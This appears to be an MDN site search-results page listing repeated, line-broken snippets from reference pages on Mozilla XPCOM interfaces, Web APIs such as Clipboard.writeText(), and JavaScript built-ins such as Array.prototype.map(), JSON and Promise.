ipboarddragdrophooks( in nsicl
ipboarddragdrophooks ahooks ); parameters ahooks implementation of hooks. gethookenumerator() this method retrieves an enumerator for all hooks which have been added. nsisimpleenumerator gethookenumerator(); parameters none. return value returns nsisimpleenumerator for nsicl
ipboarddragdrophooks. removecl
ipboarddragdrophooks() this method removes a hook from the list. note: if this implementation is not present in the list then removal will be ignored. void removecl
ipboarddragdrophooks( in nsicl
ipboarddragdrophooks ahooks ); parameters ahooks implementation of hooks. ...
...And 2 more matches
nsIClipboardDragDropHooks
widget/public/nsicl
ipboarddragdrophooks.idlscr
iptable interfaces for overriding the built-in drag, drop, copy, and paste implementations in the content area and editors. use this to do things such as prevent a drag from starting, adding or removing data and flavors, or preventing the drop. ...
...ragdrophooks.idlscr
iptable interfaces for overriding the built-in drag, drop, copy, and paste implementations in the content area and editors. use this to do things such as prevent a drag from starting, adding or removing data and flavors, or preventing the drop. ...
...a and editors. use this to do things such as prevent a drag from starting, adding or removing data and flavors, or preventing the drop. inherits from: nsisupports last changed in gecko 1.7 embedders who want to have these hooks made available should implement nsicl
ipboarddragdrophooks and use the command manager to send the appropriate commands with these parameters/settings: command: cmd_cl
ipboarddragdrophook params value type possible values "addhook" isupports nsicl
ipboarddragdrophooks as nsisupports "removehook" isupports nsicl
ipboarddragdrophooks as nsisupports note: overrides/hooks need to be added to each window (as appropriate). adding them to the first window does not enable them for every window. if more than one implementation is set for a window, the ...
...And 2 more matches
nsIPlacesImportExportService
toolkit/components/places/ns
iplacesimportexportservice.idlscr
iptable provides methods for exporting places data. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) in the past, this interface also offered methods for importing places data, but those methods are now part of the bookmarkhtmlutils.jsm javascr
ipt code module. the interface name has been kept for compatibility reasons for code using the export service. ...
...ose methods are now part of the bookmarkhtmlutils.jsm javascr
ipt code module. the interface name has been kept for compatibility reasons for code using the export service. ...
...e current bookmarks hierarchy to a bookmarks.html file. void exporthtmltofile( in nsilocalfile afile ); parameters afile an nsilocalfile indicating where to save the new bookmarks.html file. importhtmlfromfile() obsolete since gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) note: this method has been removed; use the bookmarkhtmlutils.jsm javascr
ipt code module instead. loads the given bookmarks.html file and replaces it with the current bookmarks hierarchy (if aisinitialimport is true) or appends it (if aisinitialimport is false). three nsiobserverservice notifications are fired as a result of the import. "bookmarks-restore-begin" is fired just before the import is started. "bookmarks-restore-success" is fired right after the bookmarks a...
...And 2 more matches
nsIPrivateBrowsingService
when firefox is in private browsing mode, firefox shouldn't save any potentially private information. the browser itself stops caching, and also doesn't record history information. ...
... when firefox is in private browsing mode, firefox shouldn't save any potentially private information. the browser itself stops caching, and also doesn't record history information. ...
... and if it is, avoid saving that information. for details on how to do this, see the article supporting private browsing mode. similarly, plug-ins can detect whether or not private browsing mode is in effect by using the npn_getvalue() function to check the current value of the npnvprivatemodebool variable. implemented by: @mozilla.org/privatebrowsing;1. ...
...And 2 more matches
nsIScriptError2
js/src/xpconnect/idl/nsiscr
ipterror.idlscr
iptable represents javascr
ipt errors and warnings for use by the console service; augments nsiscr
ipterror by adding a way to initialize the error with the window id of the outer window with which the error is associated. 1.0 66 introduced gecko 2.0 obsolete gecko 12.0 inherits from: nsiscr
ipterror last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) in gecko 12.0 this interface was merged into the nsiscr
ipterror interface. method overview void initwithwindowid(in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category, in unsigned long long innerwindowid); attr...
...9.0 / seamonkey 2.6) in gecko 12.0 this interface was merged into the nsiscr
ipterror interface. method overview void initwithwindowid(in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category, in unsigned long long innerwindowid); attributes attribute type descr
iption innerwindowid unsigned long long the inner window id with which the error is associated. this is zero if the error was initialized by calling nsiscr
ipterror.init() instead of initwithwindowid(). read only. ...
...read only. timestamp long long elapsed time, in milliseconds, from a platform-specific zero time to the time the message was created. read only. ...
...And 2 more matches
nsIScriptableUnescapeHTML
parser/html/nsiscr
iptableunescapehtml.idlscr
iptable this interface is a utility interface that exposes the kind of markup parser behavior that the feed service needs. 1.0 66 introduced gecko 1.8 obsolete gecko 14.0 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: as of firefox 14, this interface is obsolete (but still available for compatibility with legacy extensions) and all its functionality is available with more configuration options via the ns
iparserutils interface. ...
...0 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: as of firefox 14, this interface is obsolete (but still available for compatibility with legacy extensions) and all its functionality is available with more configuration options via the ns
iparserutils interface. ...
...e is obsolete (but still available for compatibility with legacy extensions) and all its functionality is available with more configuration options via the ns
iparserutils interface. ...
...And 2 more matches
AudioParamDescriptor - Web APIs
properties name the domstring which represents the name of the audioparam. under this name the audioparam will be available in the parameters property of the node, and under this name the audioworkletprocessor.process method will acquire the calculated values of this audioparam. ...
...'ve created a simple node which outputs white noise. here, additionally, we'll create a custom gain parameter, so we can directly change volume of the output (although you could use gainnode to achieve this as well). first, we need to define a custom audioworkletprocessor, and register it. note that this should be done in a separate file. ...
...workletprocessor, and register it. note that this should be done in a separate file. we expand the processor by adding a static parameterdescr
iptors getter. it will be used internally by the audioworkletnode constructor to populate its parameters with instantiated audioparam objects. ...
...And 2 more matches
Clipboard.writeText() - Web APIs
the cl
ipboard interface's writetext() property writes the specified text string to the system cl
ipboard. text may be read back using either read() or readtext(). the "cl
ipboard-write" permission of the permissions api, is granted automatically to pages when they are in the active tab. note: browser support for the asynchronous cl
ipboard apis is still in the process of being implemented. be sure to check the compatibility table as well as cl
ipboard availability in cl
ipboard for more information. syntax var promise = navigator.cl
ipboard.writetext(newcl
iptext) parameters newcl
iptext the domstring to be written to the cl
ipboard. return value a promise which is resolved once the cl
ipboard's contents have been updated. the promise is rejected if the caller does not have permissi...
...ility table as well as cl
ipboard availability in cl
ipboard for more information. syntax var promise = navigator.cl
ipboard.writetext(newcl
iptext) parameters newcl
iptext the domstring to be written to the cl
ipboard. return value a promise which is resolved once the cl
ipboard's contents have been updated. the promise is rejected if the caller does not have permission to write to the cl
ipboard. example this example sets the cl
ipboard's contents to the string "<empty cl
ipboard>". ...
... working draft initial definition. ...
...And 2 more matches
DOMMatrixReadOnly.flipX() - Web APIs
the fl
ipx() method of the dommatrixreadonly interface creates a new matrix being the result of the original matrix fl
ipped about the x-axis. syntax dommatrix.fl
ipx() return value returns a dommatrix containing a new matrix being the result of the original matrix fl
ipped about the x-axis, which is equivalent to mult
iplying the matrix by dommatrix(-1, 0, 0, 1, 0, 0). the original matrix is not modified. examples this svg contains two paths in the shape of a triangle, both drawn to the same position. note that the x co-ordinate of the viewbox attribute is negative, showing us content from both sides of the x-axis. ...
...rix(-1, 0, 0, 1, 0, 0). the original matrix is not modified. examples this svg contains two paths in the shape of a triangle, both drawn to the same position. note that the x co-ordinate of the viewbox attribute is negative, showing us content from both sides of the x-axis. ...
... this svg contains two paths in the shape of a triangle, both drawn to the same position. note that the x co-ordinate of the viewbox attribute is negative, showing us content from both sides of the x-axis. ...
...And 2 more matches
ScriptProcessorNode: audioprocess event - Web APIs
the audioprocess event of the scr
iptprocessornode interface is fired when an input buffer of a scr
ipt processor is ready to be processed. ...
... the audioprocess event of the scr
iptprocessornode interface is fired when an input buffer of a scr
ipt processor is ready to be processed. ...
... the audioprocess event of the scr
iptprocessornode interface is fired when an input buffer of a scr
ipt processor is ready to be processed. ...
...And 2 more matches
SpeechRecognitionAlternative.transcript - Web APIs
examples this code is excerpted from our speech color changer example. recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects. ...
... examples this code is excerpted from our speech color changer example. recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects. ...
... examples this code is excerpted from our speech color changer example. recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects. ...
...And 2 more matches
Controlling multiple parameters with ConstantSourceNode - Web APIs
for example, perhaps you have a set of oscillators, and two of them need to share the same, configurable volume, or you have a filter that's been applied to certain inputs but not to all of them. ...
...for example, perhaps you have a set of oscillators, and two of them need to share the same, configurable volume, or you have a filter that's been applied to certain inputs but not to all of them. ...
... setting up let's start by looking at the global variable initialization. let context = null; let playbutton = null; let volumecontrol = null; let oscnode1 = null; let oscnode2 = null; let oscnode3 = null; let constantnode = null; let gainnode1 = null; let gainnode2 = null; let gainnode3 = null; let playing = false; these va...
...And 2 more matches
Keyboard-navigable JavaScript widgets - Accessibility
overview web applications often use javascr
ipt to mimic desktop widgets such as menus, tree views, rich text fields, and tab panels. these widgets are typically composed of <div> and <span> elements that do not, by nature, offer the same keyboard functionality that their desktop counterparts do. this document describes techniques to make javascr
ipt widgets accessible with the keyboard. using tabindex by default, when people use the tab key to browse a webpage, only interactive elements (like links, form controls) get focused. with the tabindex global attribute, authors can make other elements focusable, too. when set to 0, the element becomes focusable by keyboard and scr
ipt. ...
... the order in which elements gain focus when using a keyboard, is the source order by default. in exceptional circumstances, authors may want to redefine the order. to do this, authors can set tabindex to any positive number. warning: avoid using positive values for tabindex. ...
...elements with a positive tabindex are put before the default interactive elements on the page, which means page authors will have to set (and maintain) tabindex values for all focusable elements on the page whenever they use one or more positive values for tabindex. the following table describes tabindex behavior in modern browsers: tabindex attribute focusable with mouse or javascr
ipt via element.focus() tab navigable not present follows the platform convention of the element (yes for form controls, links, etc.). follows the platform convention of the element. negative (i.e. tabindex="-1") yes no; author must focus the element with focus() in response to arrow or other key presses. zero (i.e. tabindex="0") yes in tab order relat...
...And 2 more matches
<sub>: The Subscript element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. ...
...ses altered baselines in their wordmark would not be appropriate; instead, css should be used (likely the vertical-align property, such as vertical-align: sub or, to more precisely control the baseline shift, vertical-align: -25%. appropriate use cases for <sub> include (but aren't necessarily limited to): marking up footnote numbers. see footnote numbers for an example. marking up the subscr
ipt in mathematical variable numbers (although you may also consider using a mathml formula for this). see variable subscr
ipts. denoting the number of atoms of a given element within a chemical formula (such as every developer's best friend, c8h10n4o2, otherwise known as "caffeine"). see chemical formulas. examples footnote numbers traditional footnotes are denoted using numbers which are rende...
...ical variable numbers (although you may also consider using a mathml formula for this). see variable subscr
ipts. denoting the number of atoms of a given element within a chemical formula (such as every developer's best friend, c8h10n4o2, otherwise known as "caffeine"). see chemical formulas. examples footnote numbers traditional footnotes are denoted using numbers which are rendered in subscr
ipt. ...
...And 2 more matches
Meta programming - JavaScript
<< previousnext >> starting with ecmascr
ipt 2015, javascr
ipt gains support for the proxy and reflect objects allowing you to intercept and define custom behavior for fundamental language operations (e.g. property lookup, assignment, enumeration, function invocation, etc). with the help of these two objects you are able to program at the meta level of javascr
ipt. proxies introduced in ecmascr
ipt 6, proxy objects allow you to intercept certain operations and to implement custom behaviors. for example, getting a property on an object: let handler = { get: function(target, name) { return name in target? target[name] : 42 } } let p = new proxy({}, handler) p.a = 1 console.log(p.a, p.b) // 1, 42 the proxy object defines a target (an empty object here) and a handler o...
... handler.isextensible() object.isextensible() reflect.isextensible() object.isextensible(proxy) must return the same value as object.isextensible(target). handler.preventextensions() object.preventextensions() reflect.preventextensions() object.preventextensions(proxy) only returns true if object.isextensible(proxy) is false. handler.getownpropertydescr
iptor() object.getownpropertydescr
iptor() reflect.getownpropertydescr
iptor() getownpropertydescr
iptor must return an object or undefined. a property cannot be reported as non-existent if it exists as a non-configurable own property of target. a property cannot be reported as non-existent if it exists as an own property of target and target is not extensible. a pro...
...ists as an own property of target and target is not extensible. a property cannot be reported as existent if it does not exists as an own property of target and target is not extensible. a property cannot be reported as non-configurable if it does not exist as an own property of target or if it exists as a configurable own property of target. the result of object.getownpropertydescr
iptor(target) can be applied to target using object.defineproperty and will not throw an exception. handler.defineproperty() object.defineproperty() reflect.defineproperty() a property cannot be added if target is not extensible. a property cannot be added as (or modified to be) non-configurable if it does not exist as a non-configurable own property of ta...
...And 2 more matches
SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead - JavaScript
with source maps, the debugger can map the code being executed to the original source files. ...
...with source maps, the debugger can map the code being executed to the original source files. ...
... indicate sourceurl pragmas is deprecated. use //# instead" occurs when there is a deprecated source map syntax in a javascr
ipt source. message warning: syntaxerror: using //@ to indicate sourceurl pragmas is deprecated. use //# instead warning: syntaxerror: using //@ to indicate sourcemappingurl pragmas is deprecated. use //# instead error type a warning that a syntaxerror occurred. javascr
ipt execution won't be halted. what went wrong? there is a deprecated source map syntax in a javascr
ipt source. javascr
ipt sources are often combined and minified to make delivering them from the server more efficient. with source maps, the debugger can map the code being executed to the original source files. the source map specification changed the syntax due to a conflict with ie whenever it ...
...And 2 more matches
arguments.callee - JavaScript
the arguments.callee property contains the currently executing function. descr
iption callee is a property of the arguments object. it can be used to refer to the currently executing function inside the function body of that function. this is useful when the name of the function is unknown, such as within a function expression with no name (also called "anonymous functions"). warning: the 5th edition of ecmascr
ipt (es5) forbids use of arguments.callee() in strict mode. avoid using arguments.callee() by either giving function expressions a name or use a function declaration where a function must call itself. ...
...called "anonymous functions"). warning: the 5th edition of ecmascr
ipt (es5) forbids use of arguments.callee() in strict mode. avoid using arguments.callee() by either giving function expressions a name or use a function declaration where a function must call itself. why was arguments.callee removed from es5 strict mode? (adapted from a stack overflow answer by olliej) early versions of javascr
ipt did not allow named function expressions, and for this reason you could not make a recursive function expression. for example, this syntax worked: function factorial (n) { return !(n > 1) ? 1 : factorial(n - 1) * n; } [1, 2, 3, 4, 5].map(factorial); but: [1, 2, 3, 4, 5].map(function(n) { return !(n > 1) ? 1 : /* what goes here? */ (n - 1) * n; }); did not. to get around this argume...
...for example: [1, 2, 3, 4, 5].map(function factorial(n) { return !(n > 1) ? 1 : factorial(n - 1)*n; }); this has numerous benefits: the function can be called like any other from inside your code it does not create a variable in the outer scope (except for ie 8 and below) it has better performance than accessing the argume...
...And 2 more matches
Array.prototype.reduceRight() - JavaScript
pplied. (see below.) currentvalue the current element being processed in the array. indexoptional the index of the current element being processed in the array. arrayoptional the array reduceright() was called upon. initialvalueoptional value to use as accumulator to the first call of the callback. ...
...y. arrayoptional the array reduceright() was called upon. initialvalueoptional value to use as accumulator to the first call of the callback. if no initial value is supplied, the last element in the array will be used and sk
ipped. calling reduce or reduceright on an empty array without an initial value creates a typeerror. return value the value that results from the reduction. descr
iption reduceright executes the callback function once for each element present in the array, excluding holes in the array, receiving four arguments: the initial value (or value from the previous callback call), the value of the current element, the current index, and the array over which iteration is occurring. the call to the reduceright callback would look something like this: array.reducerigh...
... 1 [0, 1, 2, 3, 4] 20 fifth call 20 0 0 [0, 1, 2, 3, 4] 20 the value returned by reduceright this time would be, of course, 20. polyfill reduceright was added to the ecma-262 standard in the 5th edition; as such it may not be present in all implementations of the standard. you can work around this by inserting the following code at the beginning of your scr
ipts, allowing use of reduceright in implementations which do not natively support it. // production steps of ecma-262, edition 5, 15.4.4.22 // reference: http://es5.github.io/#x15.4.4.22 if ('function' !== typeof array.prototype.reduceright) { array.prototype.reduceright = function(callback /*, initialvalue*/) { 'use strict'; if (null === this || 'undefined' === typeof this) { thro...
...And 2 more matches
Array.prototype.map() - JavaScript
ion accepts the following arguments: currentvalue the current element being processed in the array. indexoptional the index of the current element being processed in the array. arrayoptional the array map was called upon. thisargoptional value to use as this when executing callback. return value a new array with each element being the result of the callback function. descr
iption map calls a provided callback function once for each element in an array, in order, and constructs a new array from the results. callback is invoked only for indexes of the array which have assigned values (including undefined). it is not called for missing elements of the array; that is: indexes that have never been set; which have been deleted; or which have never been assigned a val...
...ted. due to the algorithm defined in the specification, if the array which map was called upon is sparse, resulting array will also be sparse keeping same indices blank. polyfill map was added to the ecma-262 standard in the 5th edition. therefore, it may not be present in all implementations of the standard. you can work around this by inserting the following code at the beginning of your scr
ipts, allowing use of map in implementations which do not natively support it. this algorithm is exactly the one specified in ecma-262, 5th edition, assuming object, typeerror, and array have their original values and that callback.call evaluates to the original value of function.prototype.call. // production steps of ecma-262, edition 5, 15.4.4.19 // reference: http://es5.github.io/#x15.4.4.19 if ...
...with argument pk. kvalue = o[k]; // ii. let mappedvalue be the result of calling the call internal // method of callback with t as the this value and argument // list containing kvalue, k, and o. mappedvalue = callback.call(t, kvalue, k, o); // iii. call the defineownproperty internal method of a with arguments // pk, property descr
iptor // { value: mappedvalue, // writable: true, // enumerable: true, // configurable: true }, // and false. // in browsers that support object.defineproperty, use the following: // object.defineproperty(a, k, { // value: mappedvalue, // writable: true, // enumerable: true, // configurable: true ...
...And 2 more matches
Array.prototype.push() - JavaScript
is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.push([element1[, ...[, elementn]]]) parameters elementn the element(s) to add to the end of the array. return value the new length property of the object upon which the method was called. descr
iption the push method appends values to an array. push is intentionally generic. this method can be used with call() or apply() on objects resembling arrays. the push method relies on a length property to determine where to start inserting the given values. if the length property cannot be converted into a number, the index used is 0. this includes the possibility of length being nonexistent, in ...
...) // ['soccer', 'baseball', 'football', 'swimming'] console.log(total) // 4 merging two arrays this example uses apply() to push all elements from a second array. do not use this method if the second array (morevegs in the example) is very large because the maximum number of parameters that one function can take is limited in practice. see apply() for more details. ...
...is very large because the maximum number of parameters that one function can take is limited in practice. see apply() for more details. let vegetables = ['parsn
ip', 'potato'] let morevegs = ['celery', 'beetroot'] // merge the second array into the first one // equivalent to vegetables.push('celery', 'beetroot') array.prototype.push.apply(vegetables, morevegs) console.log(vegetables) // ['parsn
ip', 'potato', 'celery', 'beetroot'] using an object in an array-like fashion as mentioned above, push is intentionally generic, and we can use that to our advantage. array.prototype.push can work on an object just fine, as this example shows. note that we don't create an array to store a collection of objects. instead, we store the collection on the object itself and use call on array.prototype...
...And 2 more matches
Error - JavaScript
error objects are thrown when runtime errors occur. the error object can also be used as a base object for user-defined exceptions. see below for standard built-in error types. descr
iption runtime errors result in new error objects being created and thrown. error types besides the generic error constructor, there are seven other core error constructors in javascr
ipt. for client-side exceptions, see exception handling statements. evalerror creates an instance representing an error that occurs regarding the global function eval(). internalerror creates an instance representing an error that occurs when an internal error in the javascr
ipt engine is thrown. e.g. "too much recursion". rangeerror creates an instance representing an error that occurs when a numeric variable or paramet...
...epresenting an error that occurs when encodeuri() or decodeuri() are passed invalid parameters. constructor error() creates a new error object. static methods error.capturestacktrace() a non-standard v8 function that creates the stack property on an error instance. instance properties error.prototype.message error message. error.prototype.name error name. error.prototype.descr
iption a non-standard microsoft property for the error descr
iption. similar to message. error.prototype.number a non-standard microsoft property for an error number. error.prototype.filename a non-standard mozilla property for the path to the file that raised this error. error.prototype.linenumber a non-standard mozilla property for the line number in the file that raised this error. error.p...
...ject with the intention of raising it using the throw keyword. you can handle the error using the try...catch construct: try { throw new error('whoops!') } catch (e) { console.error(e.name + ': ' + e.message) } handling a specific error you can choose to handle only specific error types by testing the error type with the error's constructor property or, if you're writing for modern javascr
ipt engines, instanceof keyword: try { foo.bar() } catch (e) { if (e instanceof evalerror) { console.error(e.name + ': ' + e.message) } else if (e instanceof rangeerror) { console.error(e.name + ': ' + e.message) } // ... etc } custom error types you might want to define your own error types deriving from error to be able to throw new myerror() and use instanceof myerror to che...
...And 2 more matches
FinalizationRegistry - JavaScript
(cleanup callbacks are sometimes called finalizers.) note: cleanup callbacks should not be used for essential program logic. see notes on cleanup callbacks for details. you create the registry passing in the callback: const registry = new finalizationregistry(heldvalue => { // .... ...
...alizationregistry.prototype.unregister() unregisters an object from the registry. avoid where possible correct use of finalizationregistry takes careful thought, and it's best avoided if possible. it's also important to avoid relying on any specific behaviors not guaranteed by the specification. when, how, and whether garbage collection occurs is down to the implementation of any given javascr
ipt engine. any behavior you observe in one engine may be different in another engine, in another version of the same engine, or even in a slightly different situation with the same version of the same engine. garbage collection is a hard problem that javascr
ipt engine implementers are constantly refining and improving their solutions to. here are some specific points that the authors of the weakre...
..., or not at all. sources of variability include: one object might be garbage-collected much sooner than another object, even if they become unreachable at the same time, e.g., due to generational collection. garbage collection work can be split up over time using incremental and concurrent techniques. various runtime heuristics can be used to balance memory usage, responsiveness. the javascr
ipt engine may hold references to things which look like they are unreachable (e.g., in closures, or inline caches). different javascr
ipt engines may do these things differently, or the same engine may change its algorithms across versions. complex factors may lead to objects being held alive for unexpected amounts of time, such as use with certain apis. notes on cleanup callbacks some notes o...
...And 2 more matches
Intl.Locale - JavaScript
additional information about the locale is stored in the optional extension tags. extension tags hold information about locale aspects such as calendar type, clock type, and numbering system type. ...
...additional information about the locale is stored in the optional extension tags. extension tags hold information about locale aspects such as calendar type, clock type, and numbering system type. traditionally, the intl api used strings to represent locales, just as unicode does. ...
...ditional information about the locale is stored in the optional extension tags. extension tags hold information about locale aspects such as calendar type, clock type, and numbering system type. traditionally, the intl api used strings to represent locales, just as unicode does. this is a simple and lightweight solution that works well. adding a locale class, however, adds ease of parsing and man
ipulating the language, scr
ipt, and region, as well as extension tags. constructor intl.locale() creates a new locale object. instance properties intl.locale.prototype.basename returns basic, core information about the locale in the form of a substring of the complete data string. intl.locale.prototype.calendar returns the part of the locale that indicates the locale's calendar era. in...
...And 2 more matches
JSON.stringify() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax json.stringify(value[, replacer[, space]]) parameters value the value to convert to a json string. ...
...f it's longer than that) is used as white space. if this parameter is not provided (or is null), no white space is used. return value a json string representing the given value. exceptions throws a typeerror ("cyclic object value") exception when a circular reference is found. throws a typeerror ("bigint value can't be serialized in json") when trying to stringify a bigint value. descr
iption json.stringify() converts a value to json notation representing it: if the value has a tojson() method, it's responsible to define what data will be serialized. boolean, number, and string objects are converted to the corresponding primitive values during stringification, in accord with the traditional conversion semantics. undefined, functions, and symbols are not valid json values. if...
...ng circular references throws "typeerror: cyclic object value" json.stringify(circularreference); to serialize circular references you can use a library that supports them (e.g. cycle.js by douglas crockford) or implement a solution by yourself, which will require finding and replacing (or removing) the cyclic references by serializable values. issue with plain json.stringify for use as javascr
ipt historically, json was not a completely strict subset of javascr
ipt. the literal code points u+2028 line separator and u+2029 paragraph separator could appear literally in string literals and property names in json text. but they could not appear literally in similar context in javascr
ipt text, only using unicode escapes as \u2028 and \u2029. this recently changed: now both code points may app...
...And 2 more matches
JSON - JavaScript
the json object contains methods for parsing javascr
ipt object notation (json) and converting values to json. it can't be called or constructed, and aside from its two method properties, it has no interesting functionality of its own. descr
iption javascr
ipt and json differences json is a syntax for serializing objects, arrays, numbers, strings, booleans, and null. it is based upon javascr
ipt syntax but is distinct from it: some javascr
ipt is not json. objects and arrays property names must be double-quoted strings; trailing commas are forbidden. numbers leading zeros are prohibited. a decimal point must be followed by at least one digit. nan and infinity are unsupported. any json text is a valid javascr
ipt expression... ...
... null. it is based upon javascr
ipt syntax but is distinct from it: some javascr
ipt is not json. objects and arrays property names must be double-quoted strings; trailing commas are forbidden. numbers leading zeros are prohibited. a decimal point must be followed by at least one digit. nan and infinity are unsupported. any json text is a valid javascr
ipt expression... ...but only in javascr
ipt engines that have implemented the proposal to make all json text valid ecma-262. in engines that haven't implemented the proposal, u+2028 line separator and u+2029 paragraph separator are allowed in string literals and property keys in json; but their use in these features in javascr
ipt string literals is a syntaxerror. consider this example where json.parse() parses the string as json and eva...
...the proposal to make all json text valid ecma-262. in engines that haven't implemented the proposal, u+2028 line separator and u+2029 paragraph separator are allowed in string literals and property keys in json; but their use in these features in javascr
ipt string literals is a syntaxerror. consider this example where json.parse() parses the string as json and eval executes the string as javascr
ipt: let code = '"\u2028\u2029"' json.parse(code) // evaluates to "\u2028\u2029" in all engines eval(code) // throws a syntaxerror in old engines other differences include allowing only double-quoted strings and having no provisions for undefined or comments. for those who wish to use a more human-friendly configuration format based on json, there is json5, used by the babel compiler, and...
...And 2 more matches
Number - JavaScript
number is a primitive wrapper object used to represent and man
ipulate numbers like 37 or -9.25. the number constructor contains constants and methods for working with numbers. values of other types can be converted to numbers using the number() function. the javascr
ipt number type is a double-precision 64-bit binary format ieee 754 value, like double in java or c#. this means it can represent fractional values, but there are some limits to what it can store. a number only keeps about 17 decimal places of precision; arithmetic is subject to rounding. the largest value a number can hold is about 1.8x10308. numbers beyond that are replaced with the special number constant infinity. a number literal like 37 in javascr
ipt code is a floating-point value, not an integer. there is no separat...
...o what it can store. a number only keeps about 17 decimal places of precision; arithmetic is subject to rounding. the largest value a number can hold is about 1.8x10308. numbers beyond that are replaced with the special number constant infinity. a number literal like 37 in javascr
ipt code is a floating-point value, not an integer. there is no separate integer type in common everyday use. (javascr
ipt now has a bigint type, but it was not designed to replace number for everyday uses. 37 is still a number, not a bigint.) number may also be expressed in literal forms like 0b101, 0o13, 0x0a. learn more on numeric lexical grammar here. descr
iption when used as a function, number(value) converts a string or other value to the number type. if the value can't be converted, it returns nan. lit...
...-three 123.0 // same 123 === 123.0 // true function syntax number('123') // returns the number 123 number('123') === 123 // true number("unicorn") // nan number(undefined) // nan constructor number() creates a new number value. static properties number.epsilon the smallest interval between two representable numbers. number.max_safe_integer the maximum safe integer in javascr
ipt (253 - 1). number.max_value the largest positive representable number. number.min_safe_integer the minimum safe integer in javascr
ipt (-(253 - 1)). number.min_value the smallest positive representable number--that is, the positive number closest to zero (without actually being zero). number.nan special "not a number" value. number.negative_infinity special value representing negative i...
...And 2 more matches
Object.keys() - JavaScript
in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.keys(obj) parameters obj the object of which the enumerable's own properties are to be returned. return value an array of strings that represent all the enumerable properties of the given object. ...
...f the given object. descr
iption object.keys() returns an array whose elements are strings corresponding to the enumerable properties found directly upon object. the ordering of the properties is the same as that given by looping over the properties of the object manually. ...
... object.keys() returns an array whose elements are strings corresponding to the enumerable properties found directly upon object. the ordering of the properties is the same as that given by looping over the properties of the object manually. ...
...And 2 more matches
Object.prototype.toString() - JavaScript
the tostring() method returns a string representing the object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax obj.tostring() return value a string representing the object. descr
iption every object has a tostring() method that is automatically called when the object is to be represented as a text value or when an object is referred to in a manner in which a string is expected. by default, the tostring() method is inherited by every object descended from object. if this method is not overridden in a custom object, tostring() returns "[object type]", where type is the object type. the following code ill...
...ject is referred to in a manner in which a string is expected. by default, the tostring() method is inherited by every object descended from object. if this method is not overridden in a custom object, tostring() returns "[object type]", where type is the object type. the following code illustrates this: const o = new object(); o.tostring(); // returns [object object] note: starting in javascr
ipt 1.8.5, tostring() called on null returns [object null], and undefined returns [object undefined], as defined in the 5th edition of ecmascr
ipt and subsequent errata. see using tostring() to detect object class. parameters for numbers and bigints tostring() takes an optional parameter radix the value of radix must be minimum 2 and maximum 36. by using radix you can also convert base 10 numb...
... to use the object.prototype.tostring() with every object, you need to call function.prototype.call() or function.prototype.apply() on it, passin...
...And 2 more matches
Promise - JavaScript
it allows you to associate handlers with an asynchronous action's eventual success value or failure reason. ...
...so there is no race condition between an asynchronous operation completing and its handlers being attached. as the promise.prototype.then() and promise.prototype.catch() methods return promises, they can be chained. not to be confused with: several other languages have mechanisms for lazy evaluation and deferring a computation, which they also call "promises", e.g. scheme. promises in javascr
ipt represent processes that are already happening, which can be chained with callback functions. if you are looking to lazily evaluate an expression, consider the arrow function with no arguments: f = () => expression to create the lazily-evaluated expression, and f() to evaluate. note: a promise is said to be settled if it is either fulfilled or rejected, but not pending. you will also hear the...
...(promise a) ) ) ) when a nextvalue is a promise, the effect is a dynamic replacement. the return causes a promise to be popped, but the nextvalue promise is pushed into its place. for the nesting shown above, suppose the .then() associated with "promise b" returns a nextvalue of "promise x". the resulting nesting would look like this: (promise d, (promise c, (promise x) ) ) a promise can partic
ipate in more than one nesting. for the following code, the transiton of promisea into a "settled" state will cause both instances of .then() to be invoked. const promisea = new promise(myexecutorfunc); const promiseb = promisea.then(handlefulfilled1, handlerejected1); const promisec = promisea.then(handlefulfilled2, handlerejected2); an action can be assigned to an already "settled" promise. in ...
...And 2 more matches
RegExp.$1-$9 - JavaScript
instead, you always use them as regexp.$1, ..., regexp.$9. the values of these properties are read-only and modified whenever successful matches are made. the number of possible parenthesized substrings is unlimited, but the regexp object can only hold the first nine. ...
...ubstrings is unlimited, but the regexp object can only hold the first nine. you can access all parenthesized substrings through the returned array's indexes. these properties can be used in the replacement text for the string.replace method. when used this way, do not prepend them with regexp. the example below illustrates this. ...
...hrough the returned array's indexes. these properties can be used in the replacement text for the string.replace method. when used this way, do not prepend them with regexp. the example below illustrates this. when parentheses are not included in the regular expression, the scr
ipt interprets $n's literally (where n is a positive integer). examples using $n with string.replace the following scr
ipt uses the replace() method of the string instance to match a name in the format first last and output it in the format last, first. in the replacement text, the scr
ipt uses $1 and $2 to indicate the results of the corresponding matching parentheses in the regular expression pattern. var re = /(\w+)\s(\w+)/; var str = 'john smith'; str.replace(re, '$2, $1'); // "smith, john" regexp.$1; // "john" ...
